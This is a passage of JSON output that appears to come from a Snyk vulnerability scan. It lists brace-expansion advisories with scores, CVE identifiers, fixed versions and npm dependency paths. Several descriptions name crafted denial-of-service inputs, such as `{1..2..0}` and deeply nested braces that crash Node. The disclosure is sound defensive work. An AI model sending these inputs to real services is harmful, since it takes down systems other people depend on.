"2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, 